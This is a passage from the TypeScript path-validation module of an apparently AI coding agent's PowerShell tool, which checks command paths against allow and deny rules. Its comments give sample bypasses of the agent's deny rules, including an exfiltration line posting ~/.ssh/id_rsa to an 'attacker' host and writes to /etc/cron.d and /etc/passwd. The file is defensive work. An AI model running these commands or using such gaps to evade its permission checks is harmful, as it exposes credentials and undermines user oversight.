/ tools / PowerShellTool / pathValidation.ts
pathValidation.ts
   1  /**
   2   * PowerShell-specific path validation for command arguments.
   3   *
   4   * Extracts file paths from PowerShell commands using the AST parser
   5   * and validates they stay within allowed project directories.
   6   * Follows the same patterns as BashTool/pathValidation.ts.
   7   */
   8  
   9  import { homedir } from 'os'
  10  import { isAbsolute, resolve } from 'path'
  11  import type { ToolPermissionContext } from '../../Tool.js'
  12  import type { PermissionRule } from '../../types/permissions.js'
  13  import { getCwd } from '../../utils/cwd.js'
  14  import {
  15    getFsImplementation,
  16    safeResolvePath,
  17  } from '../../utils/fsOperations.js'
  18  import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
  19  import {
  20    allWorkingDirectories,
  21    checkEditableInternalPath,
  22    checkPathSafetyForAutoEdit,
  23    checkReadableInternalPath,
  24    matchingRuleForInput,
  25    pathInAllowedWorkingPath,
  26  } from '../../utils/permissions/filesystem.js'
  27  import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
  28  import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
  29  import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
  30  import {
  31    isDangerousRemovalPath,
  32    isPathInSandboxWriteAllowlist,
  33  } from '../../utils/permissions/pathValidation.js'
  34  import { getPlatform } from '../../utils/platform.js'
  35  import type {
  36    ParsedCommandElement,
  37    ParsedPowerShellCommand,
  38  } from '../../utils/powershell/parser.js'
  39  import {
  40    isNullRedirectionTarget,
  41    isPowerShellParameter,
  42  } from '../../utils/powershell/parser.js'
  43  import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
  44  import { resolveToCanonical } from './readOnlyValidation.js'
  45  
  46  const MAX_DIRS_TO_LIST = 5
  47  // PowerShell wildcards are only * ? [ ] — braces are LITERAL characters
  48  // (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
  49  // through glob-base truncation instead of full-path symlink resolution.
  50  const GLOB_PATTERN_REGEX = /[*?[\]]/
  51  
  52  type FileOperationType = 'read' | 'write' | 'create'
  53  
  54  type PathCheckResult = {
  55    allowed: boolean
  56    decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
  57  }
  58  
  59  type ResolvedPathCheckResult = PathCheckResult & {
  60    resolvedPath: string
  61  }
  62  
  63  /**
  64   * Per-cmdlet parameter configuration.
  65   *
  66   * Each entry declares:
  67   *   - operationType: whether this cmdlet reads or writes to the filesystem
  68   *   - pathParams: parameters that accept file paths (validated against allowed directories)
  69   *   - knownSwitches: switch parameters (take NO value) — next arg is NOT consumed
  70   *   - knownValueParams: value-taking parameters that are NOT paths — next arg IS consumed
  71   *     but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
  72   *
  73   * SECURITY MODEL: Any -Param NOT in one of these three sets forces
  74   * hasUnvalidatablePathArg → ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
  75   * where every missing switch caused the unknown-param heuristic to swallow the
  76   * next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
  77   * with invocations we fully understand.
  78   *
  79   * Sources:
  80   *   - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
  81   *   - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
  82   *
  83   * NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
  84   * they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
  85   *
  86   * Parameter names are lowercase with leading dash to match runtime comparison.
  87   */
  88  type CmdletPathConfig = {
  89    operationType: FileOperationType
  90    /** Parameter names that accept file paths (validated against allowed directories) */
  91    pathParams: string[]
  92    /** Switch parameters that take no value (next arg is NOT consumed) */
  93    knownSwitches: string[]
  94    /** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
  95    knownValueParams: string[]
  96    /**
  97     * Parameter names that accept a leaf filename resolved by PowerShell
  98     * relative to ANOTHER parameter (not cwd). Safe to extract only when the
  99     * value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
 100     * flagged as unvalidatable because validatePath resolves against cwd, not
 101     * the actual base — joining against -Path would need cross-parameter
 102     * tracking.
 103     */
 104    leafOnlyPathParams?: string[]
 105    /**
 106     * Number of leading positional arguments to skip (NOT extracted as paths).
 107     * Used for cmdlets where positional-0 is a non-path value — e.g.,
 108     * Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
 109     * Without this, `iwr http://example.com` extracts `http://example.com` as
 110     * a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
 111     * the URL scheme with a confusing "non-filesystem provider" message.
 112     */
 113    positionalSkip?: number
 114    /**
 115     * When true, this cmdlet only writes to disk when a pathParam is present.
 116     * Without a path (e.g., `Invoke-WebRequest https://example.com` with no
 117     * -OutFile), it's effectively a read operation — output goes to the pipeline,
 118     * not the filesystem. Skips the "write with no target path" forced-ask.
 119     * Cmdlets like Set-Content that ALWAYS write should NOT set this.
 120     */
 121    optionalWrite?: boolean
 122  }
 123  
 124  const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
 125    // ─── Write/create operations ──────────────────────────────────────────────
 126    'set-content': {
 127      operationType: 'write',
 128      // -PSPath and -LP are runtime aliases for -LiteralPath on all provider
 129      // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
 130      // unknown-param branch → path trapped → paths=[] → deny never consulted.
 131      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 132      knownSwitches: [
 133        '-passthru',
 134        '-force',
 135        '-whatif',
 136        '-confirm',
 137        '-usetransaction',
 138        '-nonewline',
 139        '-asbytestream', // PS 6+
 140      ],
 141      knownValueParams: [
 142        '-value',
 143        '-filter',
 144        '-include',
 145        '-exclude',
 146        '-credential',
 147        '-encoding',
 148        '-stream',
 149      ],
 150    },
 151    'add-content': {
 152      operationType: 'write',
 153      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 154      knownSwitches: [
 155        '-passthru',
 156        '-force',
 157        '-whatif',
 158        '-confirm',
 159        '-usetransaction',
 160        '-nonewline',
 161        '-asbytestream', // PS 6+
 162      ],
 163      knownValueParams: [
 164        '-value',
 165        '-filter',
 166        '-include',
 167        '-exclude',
 168        '-credential',
 169        '-encoding',
 170        '-stream',
 171      ],
 172    },
 173    'remove-item': {
 174      operationType: 'write',
 175      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 176      knownSwitches: [
 177        '-recurse',
 178        '-force',
 179        '-whatif',
 180        '-confirm',
 181        '-usetransaction',
 182      ],
 183      knownValueParams: [
 184        '-filter',
 185        '-include',
 186        '-exclude',
 187        '-credential',
 188        '-stream',
 189      ],
 190    },
 191    'clear-content': {
 192      operationType: 'write',
 193      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 194      knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
 195      knownValueParams: [
 196        '-filter',
 197        '-include',
 198        '-exclude',
 199        '-credential',
 200        '-stream',
 201      ],
 202    },
 203    // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
 204    // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
 205    // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
 206    // file paths positionally.
 207    'out-file': {
 208      operationType: 'write',
 209      // Out-File uses -FilePath (position 0). -Path is PowerShell's documented
 210      // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x`
 211      // (colon syntax, one token) falls to unknown-param → value trapped →
 212      // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade).
 213      pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
 214      knownSwitches: [
 215        '-append',
 216        '-force',
 217        '-noclobber',
 218        '-nonewline',
 219        '-whatif',
 220        '-confirm',
 221      ],
 222      knownValueParams: ['-inputobject', '-encoding', '-width'],
 223    },
 224    'tee-object': {
 225      operationType: 'write',
 226      // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
 227      pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
 228      knownSwitches: ['-append'],
 229      knownValueParams: ['-inputobject', '-variable', '-encoding'],
 230    },
 231    'export-csv': {
 232      operationType: 'write',
 233      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 234      knownSwitches: [
 235        '-append',
 236        '-force',
 237        '-noclobber',
 238        '-notypeinformation',
 239        '-includetypeinformation',
 240        '-useculture',
 241        '-noheader',
 242        '-whatif',
 243        '-confirm',
 244      ],
 245      knownValueParams: [
 246        '-inputobject',
 247        '-delimiter',
 248        '-encoding',
 249        '-quotefields',
 250        '-usequotes',
 251      ],
 252    },
 253    'export-clixml': {
 254      operationType: 'write',
 255      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 256      knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
 257      knownValueParams: ['-inputobject', '-depth', '-encoding'],
 258    },
 259    // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` →
 260    // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in
 261    // config → early return {paths:[], 'read'} → Edit deny never consulted.
 262    //
 263    // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
 264    // dest). operationType:'write' is imperfect — source is semantically a read
 265    // — but it means BOTH paths get Edit-deny validation, which is strictly
 266    // safer than extracting neither. A per-param operationType would be ideal
 267    // but that's a bigger schema change; blunt 'write' closes the gap now.
 268    'new-item': {
 269      operationType: 'write',
 270      // -Path is position 0. -Name (position 1) is resolved by PowerShell
 271      // RELATIVE TO -Path (per MS docs: "you can specify the path of the new
 272      // item in Name"), including `..` traversal. We resolve against CWD
 273      // (validatePath L930), not -Path — so `New-Item -Path /allowed
 274      // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
 275      // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
 276      // the deny rule. This is a deny→ask downgrade, not fail-safe.
 277      //
 278      // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
 279      // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path
 280      // extraction covers the directory, and a leaf can't traverse);
 281      // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg →
 282      // ask. Joining -Name against -Path would be correct but needs
 283      // cross-parameter tracking — out of scope here.
 284      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 285      leafOnlyPathParams: ['-name'],
 286      knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
 287      knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
 288    },
 289    'copy-item': {
 290      operationType: 'write',
 291      // -Path (position 0) is source, -Destination (position 1) is dest.
 292      // Both extracted; both validated as write.
 293      pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
 294      knownSwitches: [
 295        '-container',
 296        '-force',
 297        '-passthru',
 298        '-recurse',
 299        '-whatif',
 300        '-confirm',
 301        '-usetransaction',
 302      ],
 303      knownValueParams: [
 304        '-filter',
 305        '-include',
 306        '-exclude',
 307        '-credential',
 308        '-fromsession',
 309        '-tosession',
 310      ],
 311    },
 312    'move-item': {
 313      operationType: 'write',
 314      pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
 315      knownSwitches: [
 316        '-force',
 317        '-passthru',
 318        '-whatif',
 319        '-confirm',
 320        '-usetransaction',
 321      ],
 322      knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
 323    },
 324    // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither
 325    // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item
 326    // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes
 327    // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
 328    // write-cmdlet alias now resolves to a config entry.
 329    'rename-item': {
 330      operationType: 'write',
 331      // -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
 332      // "You cannot specify a new drive or a different path") and Rename-Item
 333      // explicitly rejects `..` in it — so knownValueParams is correct here,
 334      // unlike New-Item -Name which accepts traversal.
 335      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 336      knownSwitches: [
 337        '-force',
 338        '-passthru',
 339        '-whatif',
 340        '-confirm',
 341        '-usetransaction',
 342      ],
 343      knownValueParams: [
 344        '-newname',
 345        '-credential',
 346        '-filter',
 347        '-include',
 348        '-exclude',
 349      ],
 350    },
 351    'set-item': {
 352      operationType: 'write',
 353      // FileSystem provider throws NotSupportedException for Set-Item content,
 354      // so the practical write surface is registry/env/function/alias providers.
 355      // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
 356      // step 3.5 in powershellPermissions.ts, but classifying set-item as write
 357      // here is defense-in-depth — powershellSecurity.ts:379 already lists it
 358      // in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
 359      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 360      knownSwitches: [
 361        '-force',
 362        '-passthru',
 363        '-whatif',
 364        '-confirm',
 365        '-usetransaction',
 366      ],
 367      knownValueParams: [
 368        '-value',
 369        '-credential',
 370        '-filter',
 371        '-include',
 372        '-exclude',
 373      ],
 374    },
 375    // ─── Read operations ──────────────────────────────────────────────────────
 376    'get-content': {
 377      operationType: 'read',
 378      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 379      knownSwitches: [
 380        '-force',
 381        '-usetransaction',
 382        '-wait',
 383        '-raw',
 384        '-asbytestream', // PS 6+
 385      ],
 386      knownValueParams: [
 387        '-readcount',
 388        '-totalcount',
 389        '-tail',
 390        '-first', // alias for -TotalCount
 391        '-head', // alias for -TotalCount
 392        '-last', // alias for -Tail
 393        '-filter',
 394        '-include',
 395        '-exclude',
 396        '-credential',
 397        '-delimiter',
 398        '-encoding',
 399        '-stream',
 400      ],
 401    },
 402    'get-childitem': {
 403      operationType: 'read',
 404      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 405      knownSwitches: [
 406        '-recurse',
 407        '-force',
 408        '-name',
 409        '-usetransaction',
 410        '-followsymlink',
 411        '-directory',
 412        '-file',
 413        '-hidden',
 414        '-readonly',
 415        '-system',
 416      ],
 417      knownValueParams: [
 418        '-filter',
 419        '-include',
 420        '-exclude',
 421        '-depth',
 422        '-attributes',
 423        '-credential',
 424      ],
 425    },
 426    'get-item': {
 427      operationType: 'read',
 428      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 429      knownSwitches: ['-force', '-usetransaction'],
 430      knownValueParams: [
 431        '-filter',
 432        '-include',
 433        '-exclude',
 434        '-credential',
 435        '-stream',
 436      ],
 437    },
 438    'get-itemproperty': {
 439      operationType: 'read',
 440      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 441      knownSwitches: ['-usetransaction'],
 442      knownValueParams: [
 443        '-name',
 444        '-filter',
 445        '-include',
 446        '-exclude',
 447        '-credential',
 448      ],
 449    },
 450    'get-itempropertyvalue': {
 451      operationType: 'read',
 452      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 453      knownSwitches: ['-usetransaction'],
 454      knownValueParams: [
 455        '-name',
 456        '-filter',
 457        '-include',
 458        '-exclude',
 459        '-credential',
 460      ],
 461    },
 462    'get-filehash': {
 463      operationType: 'read',
 464      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 465      knownSwitches: [],
 466      knownValueParams: ['-algorithm', '-inputstream'],
 467    },
 468    'get-acl': {
 469      operationType: 'read',
 470      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 471      knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
 472      knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
 473    },
 474    'format-hex': {
 475      operationType: 'read',
 476      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 477      knownSwitches: ['-raw'],
 478      knownValueParams: [
 479        '-inputobject',
 480        '-encoding',
 481        '-count', // PS 6+
 482        '-offset', // PS 6+
 483      ],
 484    },
 485    'test-path': {
 486      operationType: 'read',
 487      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 488      knownSwitches: ['-isvalid', '-usetransaction'],
 489      knownValueParams: [
 490        '-filter',
 491        '-include',
 492        '-exclude',
 493        '-pathtype',
 494        '-credential',
 495        '-olderthan',
 496        '-newerthan',
 497      ],
 498    },
 499    'resolve-path': {
 500      operationType: 'read',
 501      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 502      knownSwitches: ['-relative', '-usetransaction', '-force'],
 503      knownValueParams: ['-credential', '-relativebasepath'],
 504    },
 505    'convert-path': {
 506      operationType: 'read',
 507      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 508      knownSwitches: ['-usetransaction'],
 509      knownValueParams: [],
 510    },
 511    'select-string': {
 512      operationType: 'read',
 513      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 514      knownSwitches: [
 515        '-simplematch',
 516        '-casesensitive',
 517        '-quiet',
 518        '-list',
 519        '-notmatch',
 520        '-allmatches',
 521        '-noemphasis', // PS 7+
 522        '-raw', // PS 7+
 523      ],
 524      knownValueParams: [
 525        '-inputobject',
 526        '-pattern',
 527        '-include',
 528        '-exclude',
 529        '-encoding',
 530        '-context',
 531        '-culture', // PS 7+
 532      ],
 533    },
 534    'set-location': {
 535      operationType: 'read',
 536      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 537      knownSwitches: ['-passthru', '-usetransaction'],
 538      knownValueParams: ['-stackname'],
 539    },
 540    'push-location': {
 541      operationType: 'read',
 542      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 543      knownSwitches: ['-passthru', '-usetransaction'],
 544      knownValueParams: ['-stackname'],
 545    },
 546    'pop-location': {
 547      operationType: 'read',
 548      // Pop-Location has no -Path/-LiteralPath (it pops from the stack),
 549      // but we keep the entry so it passes through path validation gracefully.
 550      pathParams: [],
 551      knownSwitches: ['-passthru', '-usetransaction'],
 552      knownValueParams: ['-stackname'],
 553    },
 554    'select-xml': {
 555      operationType: 'read',
 556      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 557      knownSwitches: [],
 558      knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
 559    },
 560    'get-winevent': {
 561      operationType: 'read',
 562      // Get-WinEvent only has -Path, no -LiteralPath
 563      pathParams: ['-path'],
 564      knownSwitches: ['-force', '-oldest'],
 565      knownValueParams: [
 566        '-listlog',
 567        '-logname',
 568        '-listprovider',
 569        '-providername',
 570        '-maxevents',
 571        '-computername',
 572        '-credential',
 573        '-filterxpath',
 574        '-filterxml',
 575        '-filterhashtable',
 576      ],
 577    },
 578    // Write-path cmdlets with output parameters. Without these entries,
 579    // -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
 580    'invoke-webrequest': {
 581      operationType: 'write',
 582      // -OutFile is the write target; -InFile is a read source (uploads a local
 583      // file). Both are in pathParams so Edit deny rules are consulted (this
 584      // config is operationType:write → permissionType:edit). A user with
 585      // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
 586      // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
 587      // for write-type cmdlets — that's a known limitation of the
 588      // operationType→permissionType mapping.
 589      pathParams: ['-outfile', '-infile'],
 590      positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
 591      optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
 592      knownSwitches: [
 593        '-allowinsecureredirect',
 594        '-allowunencryptedauthentication',
 595        '-disablekeepalive',
 596        '-nobodyprogress',
 597        '-passthru',
 598        '-preservefileauthorizationmetadata',
 599        '-resume',
 600        '-skipcertificatecheck',
 601        '-skipheadervalidation',
 602        '-skiphttperrorcheck',
 603        '-usebasicparsing',
 604        '-usedefaultcredentials',
 605      ],
 606      knownValueParams: [
 607        '-uri',
 608        '-method',
 609        '-body',
 610        '-contenttype',
 611        '-headers',
 612        '-maximumredirection',
 613        '-maximumretrycount',
 614        '-proxy',
 615        '-proxycredential',
 616        '-retryintervalsec',
 617        '-sessionvariable',
 618        '-timeoutsec',
 619        '-token',
 620        '-transferencoding',
 621        '-useragent',
 622        '-websession',
 623        '-credential',
 624        '-authentication',
 625        '-certificate',
 626        '-certificatethumbprint',
 627        '-form',
 628        '-httpversion',
 629      ],
 630    },
 631    'invoke-restmethod': {
 632      operationType: 'write',
 633      // -OutFile is the write target; -InFile is a read source (uploads a local
 634      // file). Both must be in pathParams so deny rules are consulted.
 635      pathParams: ['-outfile', '-infile'],
 636      positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
 637      optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
 638      knownSwitches: [
 639        '-allowinsecureredirect',
 640        '-allowunencryptedauthentication',
 641        '-disablekeepalive',
 642        '-followrellink',
 643        '-nobodyprogress',
 644        '-passthru',
 645        '-preservefileauthorizationmetadata',
 646        '-resume',
 647        '-skipcertificatecheck',
 648        '-skipheadervalidation',
 649        '-skiphttperrorcheck',
 650        '-usebasicparsing',
 651        '-usedefaultcredentials',
 652      ],
 653      knownValueParams: [
 654        '-uri',
 655        '-method',
 656        '-body',
 657        '-contenttype',
 658        '-headers',
 659        '-maximumfollowrellink',
 660        '-maximumredirection',
 661        '-maximumretrycount',
 662        '-proxy',
 663        '-proxycredential',
 664        '-responseheaderstvariable',
 665        '-retryintervalsec',
 666        '-sessionvariable',
 667        '-statuscodevariable',
 668        '-timeoutsec',
 669        '-token',
 670        '-transferencoding',
 671        '-useragent',
 672        '-websession',
 673        '-credential',
 674        '-authentication',
 675        '-certificate',
 676        '-certificatethumbprint',
 677        '-form',
 678        '-httpversion',
 679      ],
 680    },
 681    'expand-archive': {
 682      operationType: 'write',
 683      pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
 684      knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
 685      knownValueParams: [],
 686    },
 687    'compress-archive': {
 688      operationType: 'write',
 689      pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
 690      knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
 691      knownValueParams: ['-compressionlevel'],
 692    },
 693    // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
 694    // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
 695    // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
 696    // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
 697    // set-item's rationale.
 698    'set-itemproperty': {
 699      operationType: 'write',
 700      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 701      knownSwitches: [
 702        '-passthru',
 703        '-force',
 704        '-whatif',
 705        '-confirm',
 706        '-usetransaction',
 707      ],
 708      knownValueParams: [
 709        '-name',
 710        '-value',
 711        '-type',
 712        '-filter',
 713        '-include',
 714        '-exclude',
 715        '-credential',
 716        '-inputobject',
 717      ],
 718    },
 719    'new-itemproperty': {
 720      operationType: 'write',
 721      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 722      knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
 723      knownValueParams: [
 724        '-name',
 725        '-value',
 726        '-propertytype',
 727        '-type',
 728        '-filter',
 729        '-include',
 730        '-exclude',
 731        '-credential',
 732      ],
 733    },
 734    'remove-itemproperty': {
 735      operationType: 'write',
 736      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 737      knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
 738      knownValueParams: [
 739        '-name',
 740        '-filter',
 741        '-include',
 742        '-exclude',
 743        '-credential',
 744      ],
 745    },
 746    'clear-item': {
 747      operationType: 'write',
 748      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 749      knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
 750      knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
 751    },
 752    'export-alias': {
 753      operationType: 'write',
 754      pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
 755      knownSwitches: [
 756        '-append',
 757        '-force',
 758        '-noclobber',
 759        '-passthru',
 760        '-whatif',
 761        '-confirm',
 762      ],
 763      knownValueParams: ['-name', '-description', '-scope', '-as'],
 764    },
 765  }
 766  
 767  /**
 768   * Checks if a lowercase parameter name (with leading dash) matches any entry
 769   * in the given param list, accounting for PowerShell's prefix-matching behavior
 770   * (e.g., -Lit matches -LiteralPath).
 771   */
 772  function matchesParam(paramLower: string, paramList: string[]): boolean {
 773    for (const p of paramList) {
 774      if (
 775        p === paramLower ||
 776        (paramLower.length > 1 && p.startsWith(paramLower))
 777      ) {
 778        return true
 779      }
 780    }
 781    return false
 782  }
 783  
 784  /**
 785   * Returns true if a colon-syntax value contains expression constructs that
 786   * mask the real runtime path (arrays, subexpressions, variables, backtick
 787   * escapes). The outer CommandParameterAst 'Parameter' element type hides
 788   * these from our AST walk, so we must detect them textually.
 789   *
 790   * Used in three branches of extractPathsFromCommand: pathParams,
 791   * leafOnlyPathParams, and the unknown-param defense-in-depth branch.
 792   */
 793  function hasComplexColonValue(rawValue: string): boolean {
 794    return (
 795      rawValue.includes(',') ||
 796      rawValue.startsWith('(') ||
 797      rawValue.startsWith('[') ||
 798      rawValue.includes('`') ||
 799      rawValue.includes('@(') ||
 800      rawValue.startsWith('@{') ||
 801      rawValue.includes('$')
 802    )
 803  }
 804  
 805  function formatDirectoryList(directories: string[]): string {
 806    const dirCount = directories.length
 807    if (dirCount <= MAX_DIRS_TO_LIST) {
 808      return directories.map(dir => `'${dir}'`).join(', ')
 809    }
 810    const firstDirs = directories
 811      .slice(0, MAX_DIRS_TO_LIST)
 812      .map(dir => `'${dir}'`)
 813      .join(', ')
 814    return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
 815  }
 816  
 817  /**
 818   * Expands tilde (~) at the start of a path to the user's home directory.
 819   */
 820  function expandTilde(filePath: string): string {
 821    if (
 822      filePath === '~' ||
 823      filePath.startsWith('~/') ||
 824      filePath.startsWith('~\\')
 825    ) {
 826      return homedir() + filePath.slice(1)
 827    }
 828    return filePath
 829  }
 830  
 831  /**
 832   * Checks the raw user-provided path (pre-realpath) for dangerous removal
 833   * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
 834   * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check);
 835   * on macOS homedir() may be under /var which realpathSync rewrites to
 836   * /private/var (fails the === homedir() check). Checking the tilde-expanded,
 837   * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
 838   * as the user typed them.
 839   */
 840  export function isDangerousRemovalRawPath(filePath: string): boolean {
 841    const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
 842      /\\/g,
 843      '/',
 844    )
 845    return isDangerousRemovalPath(expanded)
 846  }
 847  
 848  export function dangerousRemovalDeny(path: string): PermissionResult {
 849    return {
 850      behavior: 'deny',
 851      message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
 852      decisionReason: {
 853        type: 'other',
 854        reason: 'Removal targets a protected system path',
 855      },
 856    }
 857  }
 858  
 859  /**
 860   * Checks if a resolved path is allowed for the given operation type.
 861   * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
 862   */
 863  function isPathAllowed(
 864    resolvedPath: string,
 865    context: ToolPermissionContext,
 866    operationType: FileOperationType,
 867    precomputedPathsToCheck?: readonly string[],
 868  ): PathCheckResult {
 869    const permissionType = operationType === 'read' ? 'read' : 'edit'
 870  
 871    // 1. Check deny rules first
 872    const denyRule = matchingRuleForInput(
 873      resolvedPath,
 874      context,
 875      permissionType,
 876      'deny',
 877    )
 878    if (denyRule !== null) {
 879      return {
 880        allowed: false,
 881        decisionReason: { type: 'rule', rule: denyRule },
 882      }
 883    }
 884  
 885    // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
 886    // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
 887    // and internal editable paths live under ~/.claude/ — matching the ordering in
 888    // checkWritePermissionForTool (filesystem.ts step 1.5)
 889    if (operationType !== 'read') {
 890      const internalEditResult = checkEditableInternalPath(resolvedPath, {})
 891      if (internalEditResult.behavior === 'allow') {
 892        return {
 893          allowed: true,
 894          decisionReason: internalEditResult.decisionReason,
 895        }
 896      }
 897    }
 898  
 899    // 2.5. For write/create operations, check safety validations
 900    if (operationType !== 'read') {
 901      const safetyCheck = checkPathSafetyForAutoEdit(
 902        resolvedPath,
 903        precomputedPathsToCheck,
 904      )
 905      if (!safetyCheck.safe) {
 906        return {
 907          allowed: false,
 908          decisionReason: {
 909            type: 'safetyCheck',
 910            reason: safetyCheck.message,
 911            classifierApprovable: safetyCheck.classifierApprovable,
 912          },
 913        }
 914      }
 915    }
 916  
 917    // 3. Check if path is in allowed working directory
 918    const isInWorkingDir = pathInAllowedWorkingPath(
 919      resolvedPath,
 920      context,
 921      precomputedPathsToCheck,
 922    )
 923    if (isInWorkingDir) {
 924      if (operationType === 'read' || context.mode === 'acceptEdits') {
 925        return { allowed: true }
 926      }
 927    }
 928  
 929    // 3.5. For read operations, check internal readable paths
 930    if (operationType === 'read') {
 931      const internalReadResult = checkReadableInternalPath(resolvedPath, {})
 932      if (internalReadResult.behavior === 'allow') {
 933        return {
 934          allowed: true,
 935          decisionReason: internalReadResult.decisionReason,
 936        }
 937      }
 938    }
 939  
 940    // 3.7. For write/create operations to paths OUTSIDE the working directory,
 941    // check the sandbox write allowlist. When the sandbox is enabled, users
 942    // have explicitly configured writable directories (e.g. /tmp/claude/) —
 943    // treat these as additional allowed write directories so redirects/Out-File/
 944    // New-Item don't prompt unnecessarily. Paths IN the working directory are
 945    // excluded: the sandbox allowlist always seeds '.' (cwd), which would
 946    // bypass the acceptEdits gate at step 3.
 947    if (
 948      operationType !== 'read' &&
 949      !isInWorkingDir &&
